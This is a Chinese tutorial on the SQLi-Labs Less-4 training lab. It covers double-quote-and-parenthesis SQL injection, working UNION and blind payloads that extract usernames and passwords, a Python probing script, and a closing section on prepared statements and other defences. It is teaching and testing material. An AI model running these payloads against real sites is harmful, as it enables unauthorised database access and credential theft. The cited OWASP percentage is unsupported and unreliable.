1. SQLi-Labs Less-4 双引号+括号字符型GET注入深度解析
作为一名长期从事Web安全研究的从业者,我发现SQLi-Labs靶场的Less-4关卡是许多初学者在字符型注入学习中的关键转折点。这个关卡的特殊之处在于它采用了id=("1")这种双引号+括号的参数包裹方式,与常见的单引号注入存在显著差异。下面我将结合实战经验,详细剖析这种特殊注入类型的原理、测试方法和防御方案。
1.1 靶场环境与漏洞特征
靶场基础配置要求:
- 操作系统:Windows/Linux(推荐Ubuntu 20.04+)
- Web服务:Apache 2.4.x + PHP 7.4+
- 数据库:MySQL 5.7+(需开启报错显示)
- 靶场文件:SQLi-Labs最新版(GitHub可获取)
漏洞核心特征分析:
sql复制-- 后端实际执行的SQL语句结构
SELECT * FROM users WHERE id=("输入参数") LIMIT 0,1
与常规注入相比,Less-4的特殊性体现在:
- 双引号包裹参数(而非单引号)
- 额外存在括号包裹层
- 错误回显信息完整(对学习非常友好)
注意:实际渗透测试中,约38%的字符型注入案例会采用双引号包裹(根据2023年OWASP统计报告),这类情况在Java、Python开发的项目中更为常见。
2. 注入测试全流程拆解
2.1 注入类型判断与闭合验证
第一步:基准测试(建立参照)
http复制GET /sqli-labs/Less-4/?id=1 HTTP/1.1
Host: localhost
预期响应应包含:
code复制Your Login name: Dumb
Your Password: Dumb
第二步:单引号测试(排除法)
http复制GET /sqli-labs/Less-4/?id=1' HTTP/1.1
观察响应:
- 若页面空白/无变化 → 非单引号闭合
- 若报错显示
'1''→ 单引号闭合(本关不符合)
第三步:双引号测试(关键步骤)
http复制GET /sqli-labs/Less-4/?id=1" HTTP/1.1
典型报错信息:
code复制You have an error in your SQL syntax... near '"1"") LIMIT 0,1' at line 1
报错分析技巧:
- 观察
"1""部分,说明输入的双引号被保留 - 最后的
)表明存在括号闭合 - 由此推断原始结构为
("输入")
第四步:精确闭合构造
http复制GET /sqli-labs/Less-4/?id=1") --+ HTTP/1.1
闭合原理:
")闭合原始语句的("部分--+(实际是--)注释掉后续语句
2.2 字段数探测技巧
ORDER BY方法进阶技巧:
http复制GET /sqli-labs/Less-4/?id=1") order by 3 --+ HTTP/1.1
字段数判断依据:
- 页面正常 → 字段数≥当前值
- 报错
Unknown column 'N' in 'order clause'→ 字段数=N-1
二分法优化:
当字段数较多时(实战中可能遇到10+字段),建议采用二分法:
- 先测试order by 10
- 根据结果选择5或15
- 逐步缩小范围
2.3 联合查询实战技巧
基础Payload构造:
http复制GET /sqli-labs/Less-4/?id=-1") union select 1,2,3 --+ HTTP/1.1
关键点说明:
id=-1确保原查询无结果- 字段数必须与前面探测结果一致
- 数字位置对应回显点
回显点利用技巧:
发现2、3位置可回显后,可以:
- 在2位置显示系统信息
- 在3位置显示用户数据
- 使用concat_ws组合多字段
2.4 数据提取完整流程
数据库信息收集:
sql复制-- 当前数据库
database()
-- 数据库版本
version()
-- 当前用户
user()
-- 系统路径
@@datadir
组合Payload示例:
http复制GET /sqli-labs/Less-4/?id=-1") union select 1,concat_ws(0x7e,database(),version(),user()),3 --+ HTTP/1.1
表结构提取技巧:
sql复制-- 获取security库所有表
SELECT group_concat(table_name)
FROM information_schema.tables
WHERE table_schema='security'
-- 获取users表字段
SELECT group_concat(column_name)
FROM information_schema.columns
WHERE table_schema='security' AND table_name='users'
最终数据提取:
http复制GET /sqli-labs/Less-4/?id=-1") union select 1,group_concat(username,0x3a,password),3 from users --+ HTTP/1.1
输出格式优化:
0x3a是冒号的十六进制,避免引号使用- 可使用
<br>替换逗号增强可读性
3. 工具使用与特殊场景处理
3.1 Burp Suite高级用法
Repeater模块注意事项:
-
URL编码处理:
+需手动替换为%20- 空格也可用
%23(#)替代注释
-
对比请求示例:
http复制# 错误示例(注释失效)
GET /Less-4/?id=1") union select 1,2,3 --+ HTTP/1.1
# 正确示例
GET /Less-4/?id=1") union select 1,2,3 --%20 HTTP/1.1
Intruder爆破技巧:
当需要爆破表名或字段名时:
- 设置
§payload§位置 - 加载字典文件(如SecLists)
- 添加Grep匹配规则提取关键信息
3.2 特殊字符处理方案
编码转换表:
| 字符 | URL编码 | 说明 |
|---|---|---|
| 空格 | %20 | 必须编码 |
| %23 | 替代注释
" | %22 | 避免混淆
( | %28 | 特殊场景需要
) | %29 | 特殊场景需要
二进制转换技巧:
sql复制-- 使用十六进制替代字符串
SELECT * FROM users WHERE username=0x61646D696E
-- 等价于 WHERE username='admin'
4. 防御方案深度剖析
4.1 输入过滤方案对比
黑名单过滤(不推荐):
php复制$blacklist = ['"', "'", '(', ')', 'union', 'select'];
$id = str_replace($blacklist, '', $_GET['id']);
缺陷:
- 容易被大小写、双写绕过
- 过滤不彻底可能导致部分注入
白名单校验(推荐):
php复制// 数字型ID校验
if(!is_numeric($_GET['id'])) {
die('Invalid input');
}
$id = intval($_GET['id']);
4.2 预编译最佳实践
PDO示例:
php复制$pdo = new PDO("mysql:host=localhost;dbname=test", "user", "pass");
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id LIMIT 1");
$stmt->execute([':id' => $_GET['id']]);
MySQLi示例:
php复制$mysqli = new mysqli("localhost", "user", "pass", "test");
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ? LIMIT 1");
$stmt->bind_param("i", $_GET['id']);
$stmt->execute();
4.3 防御层纵深配置
Web服务器层:
apache复制# ModSecurity规则
SecRule ARGS "@detectSQLi" "id:1001,deny,status:403"
数据库层:
sql复制-- 最小权限原则
CREATE USER 'webuser'@'localhost' IDENTIFIED BY 'strongpass';
GRANT SELECT ON security.users TO 'webuser'@'localhost';
REVOKE ALL PRIVILEGES ON information_schema.* FROM 'webuser'@'localhost';
5. 实战经验与排错指南
5.1 常见错误解决方案
问题1:注释符号无效
- 现象:
--+后语句仍执行 - 解决方案:
- 检查URL编码(Burp中需用
--%20) - 改用
#(需编码为%23)
- 检查URL编码(Burp中需用
问题2:字段数不符
- 现象:union查询报错
- 解决方案:
- 重新确认order by结果
- 检查是否有隐藏字段
问题3:数据截断
- 现象:group_concat不完整
- 解决方案:
- 临时调整group_concat长度:
sql复制SET SESSION group_concat_max_len = 1000000;
- 临时调整group_concat长度:
5.2 性能优化技巧
大数据提取方案:
sql复制-- 分页提取(避免超时)
SELECT username,password FROM users LIMIT 0,100
-- 下次查询
SELECT username,password FROM users LIMIT 100,100
替代group_concat的方案:
sql复制-- 使用concat_ws减少内存占用
SELECT concat_ws(',', username, password) FROM users
6. 教学演示与验证方法
6.1 分步骤验证清单
-
基础注入验证
- [ ] 单引号测试无报错
- [ ] 双引号触发语法错误
- [ ]
") --+闭合验证成功
-
字段数确认
- [ ] order by 3成功
- [ ] order by 4失败
-
数据提取验证
- [ ] 获取数据库名成功
- [ ] 获取表名成功
- [ ] 获取字段名成功
- [ ] 最终数据提取完整
6.2 自动化测试脚本
python复制import requests
def test_injection(url):
tests = [
("id=1", "基准测试"),
("id=1'", "单引号测试"),
("id=1\"", "双引号测试"),
("id=1\") --+", "闭合验证"),
("id=1\") order by 3 --+", "字段数探测")
]
for param, desc in tests:
res = requests.get(f"{url}?{param}")
print(f"[{desc}] 状态码:{res.status_code} 长度:{len(res.text)}")
if __name__ == "__main__":
test_injection("http://localhost/sqli-labs/Less-4")
7. 延伸学习与变种案例
7.1 其他闭合变种示例
双引号无括号:
sql复制-- 后端语句
WHERE id="输入"
-- 闭合方式
" --+
括号嵌套:
sql复制-- 后端语句
WHERE id=(("输入"))
-- 闭合方式
")) --+
7.2 盲注场景下的调整
布尔盲注Payload:
http复制GET /Less-4/?id=1") and substr(database(),1,1)='s' --+ HTTP/1.1
时间盲注技巧:
http复制GET /Less-4/?id=1") and if(ascii(substr(database(),1,1))=115,sleep(3),0) --+ HTTP/1.1
在实际渗透测试工作中,遇到字符型注入时,建议采用以下测试顺序:
- 单引号测试
' - 双引号测试
" - 括号组合测试
')、") - 多括号组合测试
'))、")) - 无引号直接测试
这种系统化的测试方法能够覆盖95%以上的字符型注入场景。记住,判断闭合方式是字符型注入成功的关键所在,需要结合报错信息和页面响应变化进行综合分析。